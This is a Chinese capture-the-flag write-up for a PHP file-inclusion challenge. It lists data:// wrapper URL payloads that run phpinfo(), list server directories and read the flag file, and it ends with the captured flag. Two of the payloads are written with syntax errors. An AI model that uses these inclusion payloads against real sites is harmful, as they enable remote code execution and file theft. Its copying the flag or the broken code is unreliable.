攻防世界---Web_php_include

1.题目链接

2.补充知识:

3.构造:执行成功

/?page=data://text/plain,<?php phpinfo()?>

4.构造下面url,得到目录路径

/?page=data://text/plain,<?php echo $_SERVER'DOCUMENT_ROOT'?>

5构造下面url,读取该路径的文件

?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

6.构造下面url,读取fl4gisisish3r3.php内容。htmlspecialchars($a)在网页上显示文本 。

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

相关推荐
LabVIEW开发2 分钟前
LabVIEW 局部变量与数据流:这道 CLAD 题为什么答案是 Undefined
java·开发语言·labview
路溪非溪5 分钟前
C++标准库之智能指针
linux·开发语言·c++
程序员大雄学编程12 分钟前
Linux 磁盘满了怎么排查?df / du / find 三步定位大文件
linux·运维·php
衍生星球42 分钟前
【Java 语言】— 面向对象:构造方法(无参、有参构造)
java·开发语言
yuniko-n1 小时前
【JVM】对象内存布局
java·开发语言·jvm
何中应1 小时前
【Go-1】变量&常量定义
开发语言·后端·golang
CarIise1 小时前
Spring 框架AOP与 XML 基础
java·开发语言
geovindu1 小时前
rust:N-Barrier Pattern
开发语言·后端·设计模式·rust·屏障模式·并发型模式
AI宇宙狂想家1 小时前
开源 AI 视频工具进化史:从难用到好用,OpenMontage 改了什么
开发语言·前端·人工智能·开源·ai创业·openmontage
我爱学习_zwj1 小时前
IP 地址与子网划分
网络协议·网络安全